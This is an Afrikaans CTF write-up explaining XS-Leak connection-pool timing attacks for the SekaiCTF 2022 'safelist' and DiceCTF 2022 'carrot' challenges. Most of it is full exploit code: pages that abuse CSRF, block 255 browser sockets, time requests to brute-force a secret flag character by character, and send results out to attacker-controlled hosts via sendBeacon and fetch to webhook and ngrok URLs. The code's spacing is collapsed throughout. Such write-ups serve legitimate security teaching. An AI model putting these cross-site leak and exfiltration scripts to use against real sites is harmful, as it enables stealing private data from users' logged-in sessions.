In die Sekaictf2022 - safelist uitdaging, @Strellic_ gee 'n voorbeeld van hoe om 'n variatie van die Connection Pool tegniek te gebruik om 'n XS-Leak uit te voer.
In hierdie uitdaging is die doel om 'n vlag te exfiltreer wat in die bots web sessie binne 'n pos sal verskyn. Dit is die bates wat die aanvaller het:
Die bot sal 'n URL besoek wat deur die aanvaller gegee is
Die aanvaller kan HTML in die bladsy invoeg (maar geen JS, dompurify word gebruik nie) deur 'n CSRF te misbruik wat die bot laat 'n pos skep met daardie HTML.
Die aanvaller kan 'n CSRF misbruik om die bot te laat verwyder die eerstepos binne die web.
Omdat die postealfabeties georden is, wanneer die eerste pos verwyder word, as die HTML inhoud van die aanvaller gelaai word, beteken dit dat dit alfabeties voor die vlag was.
Daarom, om die vlag te steel, is die oplossing wat deur @Strellyc_ voorgestel word, om, vir elke karakter om te toets die bot te laat:
'n nuwe pos te skep wat begin met die bekende deel van die vlag en verskeie imglaai.
Verwyder die pos in posisie 0.
Blok 255 sokkies.
Laai die bladsy met die poste
Voer 5 ewekansige versoeke na 'n webwerf uit (example.com in hierdie geval) en meet die tyd wat dit neem.
As die verwyderde pos die vlag was, beteken dit dat al die beeldeingesluit in die HTML gaan stryd voer met die 5 ewekansige versoeke vir daardie onblokkede sokkie. Dit beteken dat die gemete tyd groter gaan wees as die ander scenario.
As die verwyderde pos die HTML was, sal die 5 ewekansige versoekevinniger wees omdat hulle nie vir daardie sokkie met die ingeslote HTML hoef te stry nie.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
In hierdie geval was die eerste stap van die exploit om 'n CSRF te misbruik om die bladsy waar die vlag bevat is, te wysig sodat dit veel meer inhoud het (en daarom neem dit meer tyd om te laai), en dan die verbindingpoel te misbruik om die tyd te meet wat dit neem om toegang te verkry tot die bladsy wat moontlik die vlag bevat.
In die exploit kan jy sien:
Misbruik CSRF
Beset al die sokke behalwe 1
Kalibreer die antwoord
Begin bruteforcing deur toegang te verkry tot die potensiële bladsy met die vlag
Die potensiële bladsy sal toeganklik wees en onmiddellik sal 'n aanvaller se beheerde URL ook toeganklik wees om te kyk hoeveel tyd beide versoeke neem.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {// slowlet url1 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`let t1 =awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastlet url2 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`let t2 =awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1 + t2) /2)});}constexploit=async(flag ='') => {console.log('Starting')// dont go to fast plz :)console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)let last;while (true) {last =awaitbrute(flag);if (last ===false) {return flag;}else {flag += last;output.innerText = flag;if(last ==='}'){return flag}}}}constpopunder= () => {if (window.opener) {WINBG=window.opener}else {WINBG=window.open(location.href, target="_blank")location =`about:blank`}}constcsrf=async () => {x.action =`https://carrot-${INSTANCE}.mc.ax/edit/0`x.title.value ="A".repeat(1000000)x.submit()}window.onload= () => {let p =newURL(location).searchParams;if(!p.has('i')){console.log(`no INSTANCE`)return}INSTANCE=p.get('i')// step 1if(p.has('csrf')){csrf()return}// step 2if (p.has('exploit')) {// window open is ok in headless :)popunder()exploit('dice{')}}</script>